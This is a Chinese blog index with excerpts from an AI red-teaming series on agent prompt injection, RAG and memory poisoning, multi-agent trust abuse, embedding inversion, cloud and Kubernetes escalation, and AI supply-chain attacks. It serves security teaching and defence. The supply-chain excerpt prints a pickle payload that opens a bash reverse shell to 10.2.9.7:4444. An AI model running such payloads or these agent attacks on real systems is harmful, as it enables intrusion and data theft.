AI 红队不是传统渗透：安全人必须先重建的 6 个认知
最近学了一段时间的AI安全，我觉得传统红队经验能迁移到 AI 安全，但不能原样照搬。可以继续用侦察、攻击面枚举、权限提升、横向移动、证据链和报告表达这些思维方式，可是目标系统已经变了。 AI 红队不是「拿一堆越狱提示词去问模型」。那是测试里的一个片段，不是红队。真正的 AI 红队要回答的是：一个企业把模型、数据、工具、身份和业务流程接在一起之后，攻击者能不能让系统做出业务不希望它做的事？ 这篇是新版 AI 红队路线的起点，我把 AI-RTA 课件里的基础概念重组成更适合国内安全从业者的版本。它不讲数学推导，也不给可直接复用的攻击命令，重点是把六个常见误解掰开： AI 红队测的是系统，不只是模型； 攻击面不在端口列表里，而在数据流和权限图里； 基础设施、数据、模型、应用四类向量要串起来看； 输出不确定，证据链必须重新定义； 授权范围不只是“能不能访问某个 URL”； MITRE ATLAS 和 OWASP 是沟通地图，不是照抄剧本。 一、认知一：AI 红队测的是系统，不只是模型很多人把 AI 红队理解成“测试模型会不会被越狱”。这个理解太窄了。 模型当然重要，但在企业环境里，...
AI 安全完整攻击链复盘：一个智能客服 Agent 如何影响 K8s 集群与云基础设施
这是 AI 安全系列的一篇综合实战复盘。案例来自一次授权评估，客户使用化名「某凡科技」，所有业务数据、域名、账号和日志都已脱敏改编。完整链条是：**公开智能客服入口 → 手册阅读工具 → Pod 内凭据 → Kubernetes RBAC → 云 Workload Identity → 对象存储与发布配置 → K8s 集群控制权限。还原每个阶段的判断依据和防御控制点，回答一个更现实的问题：为什么一个看起来只会查工单、查手册的智能客服 Agent，最后能影响 K8s 集群和云基础设施？ 这条链里没有单点“AI 超级漏洞”。真正的问题是几个常见设计组合在一起： 智能客服把「手册阅读」工具暴露给模型； 工具的 URL/path 边界没有收紧，Pod 内自动挂载的身份令牌又能被读到； Kubernetes ServiceAccount 权限过大，并绑定了云 Workload Identity； 云对象存储里放着 Terraform state 和发布产物； 发布主体拥有过宽的集群部署权限。 单点看都是配置治理问题，串起来就是从公网 AI 入口到云控制面的完整路径。 0. 项...
AI 目标威胁建模：某 Agent 靶场实践
这是一次某 Agent 靶场实践的复盘。靶场代号 AgentRange-01，模拟的是一个金融场景里的「智能财富助理」：用户通过聊天入口查产品、看行情、读研究报告，Agent 背后接了 RAG、工具调用、风控和内部服务。靶场不是真实客户项目，所有域名、IP、模型名和产品名都只存在于隔离环境里。 这次实践给出的条件很有限：没有完整架构图，没有代码仓库，只有对外聊天入口、一个 UAT 入口、少量脱敏情报和一份演练授权。目标是回答三个问题：这个 Agent 系统里有哪些边界？哪些边界能被组合成攻击路径？如果要修，控制点应该放在哪里？ 所以这篇不写「先了解业务、再识别资产、最后评估风险」这种空转流程，而是把威胁建模拆成可执行动作：把零散情报压成架构图，用低频探测确认防护，把攻击面映射成候选路径，再决定先测哪里、停在哪里、怎么写报告。 0. 靶场背景1. 业务设定AgentRange-01 模拟一家金融机构对外提供的财富助理 Agent。用户可以问基金净值、查看资产配置建议、检索研究报告。系统对外只暴露一个自然语言入口，但内部按企业 AI 应用常见方式拆成多个组件： 12345678910...
AI 基础设施安全：云、容器与 GPU 逃逸
前几篇的攻击落在模型、Agent、RAG 或供应链上。这篇要写的是更底层的场景：攻击者根本不碰模型，直接从基础设施的配置错误拿走整个环境。 一个 SSRF 拿到云账号凭证、一条 IAM 链提权到管理员、一个 Pod 里的 ServiceAccount Token 直接调 K8s API，最后从 GPU 容器逃逸到宿主机。每一步用的都是已有的功能或默认配置，不是漏洞利用。 AI 系统特别容易命中这些问题，原因是它天然把三类高危组件绑在一起：有出站 HTTP 请求能力（URL 抓取、插件调用）、跑在云上且需要 IAM 角色访问存储和模型 API、部署在 K8s 里并挂载 GPU。三者叠加后，攻击面不是加法，是乘法。 一、从 SSRF 到云凭证AI 服务几乎都有出站 HTTP 能力：Agent 的 web_fetch 工具、RAG 的 URL 入库、Webhook 回调、OpenAPI 插件的远端 schema 加载。攻击者把这些功能的 URL 参数指向云元数据端点，就能拿到当前实例的 IAM 临时凭证。 云厂商的元数据端点 云厂商 端点 版本 鉴权要求 AWS http:/...
AI供应链攻击：从模型文件到依赖包的信任危机
传统供应链攻击的落点是「代码」。AI 栈把它扩成了一个更模糊的问题：哪些文件会被「执行」。 .py 当然会；.pt 模型文件会；adapter.safetensors 不会执行代码，但会改变模型输出；tokenizer.json 只是两张映射表，改动两个整数就能让分类器失效。 这篇按「被执行的程度」从高到低写：pickle 反序列化、扫描器绕过、LoRA 投毒、tokenizer 操纵、依赖混淆。每一段给出可复现的最小代码和对应防御。 一、.pt 文件是代码，不是权重PyTorch 默认格式 .pt 底层是 Python pickle。pickle 的设计目标之一就是序列化「任意对象」，加载时执行构造指令。构造 RCE 不需要漏洞： 1234567import torch, osclass RevShell: def __reduce__(self): return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.2.9.7/4444 0>&1'",...
嵌入向量攻击：从向量数据库反推原文
很多团队对向量库的安全预期是「存的是数学，不是内容」。这个预期不成立。嵌入向量是文本经过一个确定函数的产物：同一句话永远映射到同一个点，语义相近的文本落在相邻位置。向量不加密，不摘要，它是原文的一个有损投影，而投影是可逆的。 这篇文章按攻击顺序写：怎么把向量拿出来、怎么认出是哪个模型生成的、怎么从几万个切片里挑出值得还原的、以及两种把原文还原出来的方法。最后给一个不需要导出权限的变体。 第一步：向量库常常是能直接读的向量库的默认姿态偏开发：端口开着、API 自描述、鉴权可选。内网评估里命中率高的是这几个： 产品 默认端口 匿名读取 Chroma 8000 常见 Qdrant 6333（HTTP） 取决于配置 Milvus 19530（gRPC）/ 9091 取决于配置 Weaviate 8080 取决于配置 以 Chroma 为例，确认存在的两个请求： 12GET /api/v1/collections HTTP/1.1Host: 10.0.4.11:8000 1234HTTP/1.1 200 OKContent-Type: applica...
RAG攻击面：你的知识库是安全的吗
RAG 的价值是把模型不知道的私有内容接进来。攻击视角同样成立：检索管道把知识库里和问题最相近的原文，不加转换地送进模型上下文。谁能往知识库里写一条记录，谁就能决定未来某类问题的回答内容；谁能看到检索结果，谁就能拿到比模型输出更完整的原文。 这篇文章按数据流写：入库、检索、拼装、引用，每一段的攻击面和对应请求。 先看管道里每一步暴露什么 环节 关键参数 攻击关注点 入库 上传接口、同步来源 写权限给到了谁，外源文档是否进库 切片/嵌入 chunk_size、overlap 一条毒记录需要多大，能否跨片重组 向量库 端口、API 是否未授权导出，metadata 过滤能否绕过 检索 score_threshold、top_k、rerank 阈值多少，能不能把某条记录挤进 top-k 拼装/引用 sources 返回策略 原文片段是否直接回给前端 004 里已经写过阈值探测和 sources 泄漏，这篇集中在另外两块：把内容写进去，以及让写进去的内容被检索到。 入库的四个通道投毒的前提是写入。企业知识库的写入口通常不止一个，评估时按...
攻击多Agent系统：当Agent之间开始对话
单个 Agent 被注入，影响范围是它自己的工具权限。多个 Agent 串起来之后，多出来的是信任关系：上游的输出会变成下游的输入，编排器会把某段自然语言当成「这一步已经通过」。 攻击者要找的不再只是一句能改写系统提示词的话，而是这三件事里的任意一件。 谁在调度，调度依据是当前问题，还是连同历史一起看。 每个 Agent 怎么被发现，发现信息能不能被换成攻击者的地址。 Agent 共同读取的那份数据，是不是谁都能写。 这篇文章按这个顺序写：编排模式、Agent Card 枚举、工作流步骤绕过、流氓注册、Card 地址欺骗、共享数据投毒。 四种编排，四种信任失败 模式 数据怎么流 失败方式 Orchestrator 中心节点选下一个 Agent 调度提示词被改写，某一步从计划里消失 Peer-to-Peer Agent 互相调用 一个被控节点把指令传给所有对等节点 Hierarchical 上层汇总下层 下层回传被当成已核实事实 Pipeline A 的输出是 B 的输入 载荷在前面写入，在后面的高权限步骤执行 主流框架把这些做成了默认能力，安全边界...
Agent记忆投毒：跨会话的隐性后门
次提示注入有个硬限制：会话一结束，上下文就没了。下一次对话，模型看不到上一次塞进去的指令。 Agent 的长期记忆把这个限制拆掉了。它会把「用户说过的话」「解决过的问题」「总结出来的偏好」写进向量库或键值存储，下次相关问题时再检索回来，拼进系统提示词旁边。写入和触发可以隔着几天、换一个用户。审计日志里看不到同一条请求同时包含 payload 和危害动作。 这篇文章只讲记忆这一层：记忆存在哪、什么时候写入、检索怎么把毒记录捞回来、以及为什么常规的输入过滤几乎抓不到它。 记忆不是一段聊天记录生产里的 Agent 记忆通常是三层，不是一个叫 memory 的字段。 层 存活范围 典型内容 投毒后的影响面 会话记忆 当前 session_id 最近若干轮消息 只影响这次对话，多轮渐进用的就是这一层 用户记忆 同一 user_id，跨会话 偏好、角色、历史结论 这个人以后每次打开助手都会被带上 共享记忆 一个租户或一个 Agent 全局 「已知问题 / 已验证修复」 任何人问到相近话题都会检索到 三层的信任级别经常被写成一样。检索回来的文本直接拼在系统提...
如何攻击单个Agent系统
和 Chatbot 相比，Agent 多出来的不只是「能调用工具」，还有一个更隐蔽的变化——决策链变长了。用户的问题会走这条链：意图识别 → 工具选择 → 参数构造 → 工具执行 → 结果回读 → 结果整合 → 回答用户。 这条链条上每一步都在用 LLM 做判断。攻击的着眼点因此变化：Chatbot 场景你要骗的是「模型的输出」，Agent 场景你要骗的是**「模型的决策」**——让它选错工具、拼错参数、把不可信数据当成可信指令。 而且 Agent 天然持有一套服务侧凭证：数据库连接串、内部 API 的 Bearer Token、文件系统的账号。普通用户拿不到的东西，Agent 都拿得到。把 Agent 骗过去，等于把服务权限转嫁给了攻击者。 这就是传统安全里 Confused Deputy（被滥用的合法代理人）问题在 AI 时代的翻版。 这篇文章把单 Agent 的攻击面按这条链路的位置拆开：枚举、决策阶段的提示注入、工具输出注入、参数注入、输出侧的利用。最后给出对应的防御设计。 一、Agent 架构的攻击面从哪来一个跑在 FastAPI 后面的典型企业内部 Agent，用户请...